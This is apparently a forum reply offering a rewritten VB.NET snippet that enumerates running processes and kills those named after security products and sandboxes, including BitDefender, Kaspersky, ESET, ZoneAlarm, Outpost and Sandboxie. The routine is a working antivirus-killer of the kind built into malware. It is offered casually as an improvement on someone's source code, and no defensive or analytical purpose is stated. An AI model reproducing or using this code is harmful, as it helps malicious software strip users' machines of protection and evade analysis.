Just fyi, here's how I'd do yer first source:
Code:
Dim local As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To local.Length - 1
Debug.WriteLine(local(i).ProcessName)
If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("SbieSvc") Then local(i).Kill()
Next